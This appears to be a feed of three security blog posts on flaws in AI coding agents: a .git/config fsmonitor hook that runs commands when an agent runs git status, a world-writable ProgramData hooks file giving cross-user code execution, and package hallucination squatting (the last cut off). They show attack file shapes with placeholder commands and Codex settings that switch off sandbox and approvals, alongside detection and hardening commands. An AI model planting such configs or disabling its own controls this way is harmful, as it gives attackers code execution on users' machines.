&lt;p&gt;The program runs as you, with your privileges, outside the agent's sandbox. Manifold Security published this on 1 September 2026 and called it GitSpawn. Eight findings across seven agents. Four were still unpatched on the day they published.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Config
&lt;/h2&gt;

&lt;p&gt;The payload is two lines in a file almost nobody opens.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[core]&lt;/span&gt;
    &lt;span class="py"&gt;fsmonitor&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;lt;command&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is &lt;code&gt;.git/config&lt;/code&gt; inside the repository, not your global git config. &lt;code&gt;core.fsmonitor&lt;/code&gt; is a real performance feature. On a huge repo, rather than stat-ing every file, git asks a helper program what changed. Documented, intended, shipped for years.&lt;/p&gt;

&lt;p&gt;The agent never chose to run that program. It ran something ordinary to gather context:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git status &lt;span class="nt"&gt;--porcelain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nt"&gt;--branch&lt;/span&gt;
git diff &lt;span class="nt"&gt;--name-only&lt;/span&gt; HEAD
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both refresh the index. The refresh calls fsmonitor. The command executes. Which git command the agent picked makes no difference, and &lt;code&gt;core.fsmonitor&lt;/code&gt; is not the only setting of its kind, which is why one of Manifold's findings is not an fsmonitor bug at all.&lt;/p&gt;

&lt;p&gt;Delivery is narrower than most of the coverage suggests, and being precise about it matters. &lt;code&gt;git clone&lt;/code&gt; does not carry this. Neither does fetch or pull. Git never transfers a repository's config over the wire. The repo has to reach you as files with &lt;code&gt;.git&lt;/code&gt; already inside: a zip, a shared drive, a sync folder, a USB stick. Manifold used a zip for every proof of concept.&lt;/p&gt;

&lt;p&gt;Which is to say the vector is exactly how contractors hand off projects, how a colleague passes you a broken build, and how a client sends you their codebase.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Every Agent Got This Wrong
&lt;/h2&gt;

&lt;p&gt;The flaw is not in the model and not in anything new. It is in the subprocess an agent spawns to figure out where it is.&lt;/p&gt;

&lt;p&gt;Every CLI agent needs the same three things at startup: current branch, modified files, tracked paths. Everyone reaches for git, because git is right there and already knows. And everyone wrote the call the way you or I would write it, as a plain &lt;code&gt;git status&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The gap is a mental-model one. The agent treats the folder as data it is about to read. Git treats the same folder as configuration it is about to obey. Workspace trust sits at the boundary between untrusted input and execution, but the context-gathering call fires before that boundary, from the agent's own process. The permission model never sees it.&lt;/p&gt;

&lt;p&gt;Manifold's disclosure table is the part worth reading twice:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Agent&lt;/th&gt;
&lt;th&gt;Reported&lt;/th&gt;
&lt;th&gt;Status at publication&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code (&lt;code&gt;core.fsmonitor&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;26 June 2026&lt;/td&gt;
&lt;td&gt;Patched in 2.1.196&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cursor&lt;/td&gt;
&lt;td&gt;8 July 2026&lt;/td&gt;
&lt;td&gt;Patched&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenAI Codex&lt;/td&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;Patched&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Goose&lt;/td&gt;
&lt;td&gt;13 July 2026&lt;/td&gt;
&lt;td&gt;Patched in 1.44.0, CVE-2026-72718&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen Code&lt;/td&gt;
&lt;td&gt;7 July 2026&lt;/td&gt;
&lt;td&gt;Unpatched, confirmed on 0.22.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grok Build&lt;/td&gt;
&lt;td&gt;14 July 2026&lt;/td&gt;
&lt;td&gt;Unpatched, confirmed on 1.0.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code (&lt;code&gt;claude ultrareview&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;15 July 2026&lt;/td&gt;
&lt;td&gt;Unpatched, confirmed on 2.1.252&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hermes Agent&lt;/td&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;Unpatched, CVE-2026-71963&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Five of the eight reports came back as duplicates of findings other researchers had filed independently. One was a duplicate of a report filed the same day. When several people trip over the same thing at once from different directions, it was never hiding.&lt;/p&gt;

&lt;p&gt;Two details in that table deserve attention. Hermes went six contact attempts across five channels with no triage, and its CVE was assigned by VulnCheck rather than the vendor. And the second Claude Code finding turns on a different config key, which Manifold has deliberately left unnamed while it is unpatched. Patching fsmonitor is not the same as patching the class.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Read &lt;code&gt;.git/config&lt;/code&gt; before you point an agent at a folder you did not clone yourself. That is the whole defence, and it takes two seconds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# the one that matters&lt;/span&gt;
git config &lt;span class="nt"&gt;--get&lt;/span&gt; core.fsmonitor

&lt;span class="c"&gt;# the wider sweep, for any setting that names a program&lt;/span&gt;
git config &lt;span class="nt"&gt;--local&lt;/span&gt; &lt;span class="nt"&gt;--list&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-Ei&lt;/span&gt; &lt;span class="s1"&gt;'fsmonitor|hooksPath|sshCommand|pager|editor|filter\.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anything that comes back with a value is a program git will execute on your behalf. If you did not put it there, do not open that folder with an agent. Strip it first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git config &lt;span class="nt"&gt;--local&lt;/span&gt; &lt;span class="nt"&gt;--unset&lt;/span&gt; core.fsmonitor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the part I want to be blunt about, because I have seen it repeated in several write-ups of this research as the mitigation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git config &lt;span class="nt"&gt;--global&lt;/span&gt; core.fsmonitor &lt;span class="nb"&gt;false&lt;/span&gt;   &lt;span class="c"&gt;# this protects you from nothing&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Git config precedence runs system, then global, then local, then worktree, then the command line. A repository's local &lt;code&gt;.git/config&lt;/code&gt; wins over your global config every single time. A hostile repo simply sets its own value and your global &lt;code&gt;false&lt;/code&gt; is overridden before it is ever consulted. It is a fine default for your own repos. It is not a shield.&lt;/p&gt;

&lt;p&gt;If you ship an agent, the fix is one flag on every background call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git &lt;span class="nt"&gt;-c&lt;/span&gt; core.fsmonitor&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false &lt;/span&gt;status &lt;span class="nt"&gt;--porcelain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nt"&gt;--branch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Strip the config on any git call the product makes that the user did not type.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Does cloning a malicious repository trigger GitSpawn?&lt;/strong&gt;&lt;br&gt;
A: No. Git never transfers &lt;code&gt;.git/config&lt;/code&gt; over clone, fetch or pull. The repository has to arrive as files with its &lt;code&gt;.git&lt;/code&gt; directory intact, which in practice means a zip, a shared drive, a sync folder or a USB stick.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Does &lt;code&gt;git config --global core.fsmonitor false&lt;/code&gt; protect me?&lt;/strong&gt;&lt;br&gt;
A: No. A repository's local &lt;code&gt;.git/config&lt;/code&gt; overrides your global config, so a hostile repo just sets its own value. Inspecting &lt;code&gt;.git/config&lt;/code&gt; before you open the folder is the check that actually works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Is Claude Code patched?&lt;/strong&gt;&lt;br&gt;
A: Partly. The &lt;code&gt;core.fsmonitor&lt;/code&gt; path was fixed in 2.1.196. Manifold confirmed a second finding on the &lt;code&gt;claude ultrareview&lt;/code&gt; path still unpatched on 2.1.252 as of 1 September 2026. Cursor, Codex and Goose are patched. Qwen Code, Grok Build and Hermes Agent were not at publication.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Would a security scanner have caught this?&lt;/strong&gt;&lt;br&gt;
A: No, and I would not trust one that claimed it did. This is a configuration file in a directory you were handed, not a pattern in your source code. The git config check above is the defence.&lt;/p&gt;

&lt;p&gt;I want to be straight about scope here. This is not something a code scanner catches. &lt;a href="https://tinyurl.com/26469vro" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; reads your source, your dependencies and your secrets, and it does not read &lt;code&gt;.git/config&lt;/code&gt;. No SAST tool I know of does. For GitSpawn, the two commands above are the entire fix.&lt;/p&gt;

&lt;p&gt;What a scanner is for is the other half of the same problem, which is that the code your agent writes after it starts up is also untrusted input you did not audit. I run SafeWeave as an MCP server in Cursor and Claude Code for that, and even a pre-commit hook with semgrep and gitleaks covers most of it. The principle holds either way. The agent's environment and the agent's output both need something checking them, and right now neither one checks itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; &lt;a href="https://www.manifold.security/blog/ai-coding-agents-git-hijack" rel="noopener noreferrer"&gt;GitSpawn: A Single Flaw Lets Untrusted Repos Run Code in Claude Code, Codex, Cursor, and Grok&lt;/a&gt;, Francisco Rosales, Manifold Security, 1 September 2026.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>CVE-2026-35603: Cursor Still Trusts a World-Writable Folder</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Thu, 27 Aug 2026 18:49:05 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/cve-2026-35603-cursor-still-trusts-a-world-writable-folder-34p9</link>
      <guid>https://dev.to/c_k_fb750e731394/cve-2026-35603-cursor-still-trusts-a-world-writable-folder-34p9</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Claude Code, Cursor, Codex CLI and Gemini CLI on Windows all load machine-wide configuration from &lt;code&gt;C:\ProgramData\&lt;/code&gt;, a folder any standard user can write to.&lt;/li&gt;
&lt;li&gt;Anyone with a normal account can plant a hooks file there and have their command run under every other user who launches the tool, administrators included. No prompt injection, no elevation, no warning.&lt;/li&gt;
&lt;li&gt;Anthropic fixed it and got CVE-2026-35603 assigned. The other three were still exploitable when the research went public on August 11, 2026.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Almost everything I write here is about the insecure code AI editors generate. This one is different. The vulnerability is in the editor itself.&lt;/p&gt;

&lt;p&gt;Cymulate Research Lab published it on August 11, 2026, as part three of a series on AI tooling security. I read it twice because the first pass felt too simple to be real. It is real, and it is not clever. It is ordinary Windows privilege escalation wearing a new logo.&lt;/p&gt;

&lt;p&gt;Here is the part that should make you check your machine today: three of the four vendors had not fixed it at publication.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Configuration
&lt;/h2&gt;

&lt;p&gt;The flaw is that these tools read machine-wide settings from &lt;code&gt;C:\ProgramData\&amp;lt;vendor&amp;gt;\&lt;/code&gt;, a directory whose default Windows ACLs let any member of the Users group create subdirectories and files. None of the four tools created that directory at install time, none tightened its permissions, and none check who owns the configuration file before loading it.&lt;/p&gt;

&lt;p&gt;Every one of them also ships an event-triggered command execution feature, hooks or a notify command, that fires on a routine action like starting a session or sending a prompt.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Claude Code   C:\ProgramData\ClaudeCode\managed-settings.json    hook on session start
Cursor        C:\ProgramData\Cursor\hooks.json                   hook on sending a prompt
Codex CLI     C:\ProgramData\openai\codex\config.toml            notify command each agent turn
Gemini CLI    C:\ProgramData\gemini-cli\system-defaults.json     hook on session start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A planted file looks like nothing special. The shape is roughly this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"SessionStart"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"powershell -c &amp;lt;attacker command here&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the whole attack. Create the missing directory as a standard user, drop the file, wait. When an administrator opens the tool, the command runs as the administrator. The file persists, so it fires again on every launch by every user. Cymulate classes it as improper privilege management (CWE-269); the primitive underneath is a world-writable path holding a critical resource (CWE-732).&lt;/p&gt;

&lt;p&gt;Codex CLI is the worst of the four. The same planted &lt;code&gt;config.toml&lt;/code&gt; can also set &lt;code&gt;sandbox_mode = "danger-full-access"&lt;/code&gt; and &lt;code&gt;approval_policy = "never"&lt;/code&gt;, so the file that gains the execution also removes the controls that would have contained it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ProgramData&lt;/code&gt; is writable by ordinary users by design, and the secure pattern has always been for the installer to create its own subdirectory and restrict the ACLs at install time. These tools mostly do not have an installer step. They arrive as npm packages and CLI one-liners, so nothing ever ran with the privileges needed to create that folder properly, and the app just makes it on first use as whoever happened to be logged in.&lt;/p&gt;

&lt;p&gt;Two features then do the rest. Machine-wide config takes precedence over per-user config, so trust flows from a folder anyone can write into every account on the box. And hooks exist so teams can wire in linters and telemetry, which means arbitrary command execution is a documented capability, not an exploit.&lt;/p&gt;

&lt;p&gt;Neither choice is wrong on its own. Together, on a directory nobody locked, they are a cross-user code execution primitive.&lt;/p&gt;

&lt;p&gt;The vendor responses are worth reading as a procurement signal. Anthropic deprecated the writable path, moved managed settings to a write-protected Program Files location, emailed affected enterprise customers before shipping a breaking change, and had the CVE assigned. Cursor was reported on January 12, 2026, and had still given no formal verdict more than five months later. OpenAI's Bugcrowd submission was validated, then moved to Unresolved with no fix committed. Google's reply was that it would be addressed as a documentation update.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Pre-create each vendor's &lt;code&gt;ProgramData&lt;/code&gt; subdirectory yourself and strip write access from the Users group. Windows will not do this for you, and for three of the four tools neither will the vendor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run as Administrator&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$paths&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@(&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="s2"&gt;"C:\ProgramData\ClaudeCode"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="s2"&gt;"C:\ProgramData\Cursor"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="s2"&gt;"C:\ProgramData\openai\codex"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="s2"&gt;"C:\ProgramData\gemini-cli"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;foreach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$paths&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;New-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ItemType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-Null&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;icacls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/inheritance:r&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;icacls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/grant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SYSTEM:(OI)(CI)F"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Administrators:(OI)(CI)F"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Users:(OI)(CI)RX"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Creating the directory first is the important half. An attacker cannot plant a file in a folder that already exists with restrictive permissions.&lt;/p&gt;

&lt;p&gt;Then check whether something is already sitting there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\ProgramData\ClaudeCode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\ProgramData\Cursor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
              &lt;/span&gt;&lt;span class="n"&gt;C:\ProgramData\openai\codex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\ProgramData\gemini-cli&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;FullName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LastWriteTime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Owner'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="n"&gt;Get-Acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FullName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Owner&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any file there is owned by a standard user account rather than SYSTEM or Administrators, treat that machine as compromised and rotate whatever the AI tool could reach: SSH keys, cloud tokens, Git credentials, environment variables.&lt;/p&gt;

&lt;p&gt;Update Claude Code while you are at it. Anthropic's fix moved managed settings out of &lt;code&gt;ProgramData&lt;/code&gt; entirely, so an old version still reads the vulnerable path.&lt;/p&gt;

&lt;p&gt;Two limits worth stating plainly. This is Windows only. The research does not claim an equivalent flaw on macOS or Linux, and I have not tested one. And if you are the only account on your laptop, the cross-user angle does not apply to you, though malware running as you still gets durable persistence out of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Does CVE-2026-35603 affect Cursor?&lt;/strong&gt;&lt;br&gt;
A: The CVE number belongs to Anthropic's Claude Code fix. Cursor has the same flaw at &lt;code&gt;C:\ProgramData\Cursor\hooks.json&lt;/code&gt;, but as of the August 11, 2026 disclosure Cymulate had received no formal reply and the issue was still reproducible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Am I affected on macOS or Linux?&lt;/strong&gt;&lt;br&gt;
A: The research covers Windows only, where the default ACLs on &lt;code&gt;ProgramData&lt;/code&gt; let standard users create files. Nothing in the report claims an equivalent flaw on other platforms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Do I need admin rights on the machine for this to be exploited?&lt;/strong&gt;&lt;br&gt;
A: No, and that is the point. The attacker needs only a standard account, or malware already running as one. Their command then executes under whoever launches the AI tool next, which may well be an administrator.&lt;/p&gt;

&lt;p&gt;Being straight about the limits here: &lt;a href="https://tinyurl.com/26ahxhst" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; scans the code in your project, and it will not find a poisoned &lt;code&gt;hooks.json&lt;/code&gt; sitting in &lt;code&gt;ProgramData&lt;/code&gt;. No code scanner will, because that file is not in your repo. This one is an endpoint check, so run the two PowerShell blocks above and keep Claude Code updated. What a scanner does cover is the other half of the problem, the SQL injection and hardcoded secrets and missing auth checks your editor writes into the code while you are moving fast. Both halves need somebody watching, and neither one watches the other.&lt;/p&gt;

&lt;p&gt;Source: &lt;a href="https://cymulate.com/blog/cve-2026-35603-ai-coding-tools-privilege-escalation/" rel="noopener noreferrer"&gt;Cymulate Research Lab, CVE-2026-35603&lt;/a&gt;, August 11, 2026.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>Slopsquatting: Why Cursor Recommends Packages Attackers Own</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Wed, 19 Aug 2026 09:43:27 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/slopsquatting-why-cursor-recommends-packages-attackers-own-25d3</link>
      <guid>https://dev.to/c_k_fb750e731394/slopsquatting-why-cursor-recommends-packages-attackers-own-25d3</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;AI editors invent package names that do not exist, and attackers register those exact names on npm and PyPI.&lt;/li&gt;
&lt;li&gt;Your dependency scanner reports zero findings on them, because a package published three weeks ago has no CVE history to match against.&lt;/li&gt;
&lt;li&gt;The fix is checking that a package has a past before you install it, not scanning it after.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I asked Cursor for a codemod tool last month. It gave me a confident install command and a five-line usage example. The package name looked right. It sounded like something that would exist.&lt;/p&gt;

&lt;p&gt;It did exist. That was the problem.&lt;/p&gt;

&lt;p&gt;Somebody had registered the name because they knew the model would keep inventing it. The whole class of attack got a name in July when researchers published on it: Aya Spira and colleagues in Ben Nassi's group at Tel Aviv University, with Stav Cohen at Technion and Ron Bitton at Intuit, called it HalluSquatting. Most developers know it as slopsquatting. Their finding was that assistants do not hallucinate randomly. Ask the same question enough times and the same wrong name comes back, in up to 85% of repository requests in their tests. That is not noise. That is a stable, predictable target an attacker can register once and wait on.&lt;/p&gt;

&lt;p&gt;Aikido's Charlie Eriksen had already found one in the wild in January: &lt;code&gt;react-codeshift&lt;/code&gt;, a package that started life as a hallucination and ended up referenced by 237 code projects.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;The vulnerability is not in code the AI writes. It is the install line, and it looks completely normal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Cursor suggested this. It runs without a single warning.&lt;/span&gt;
npm &lt;span class="nb"&gt;install &lt;/span&gt;react-codeshift
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"react-codeshift"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^1.0.0"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



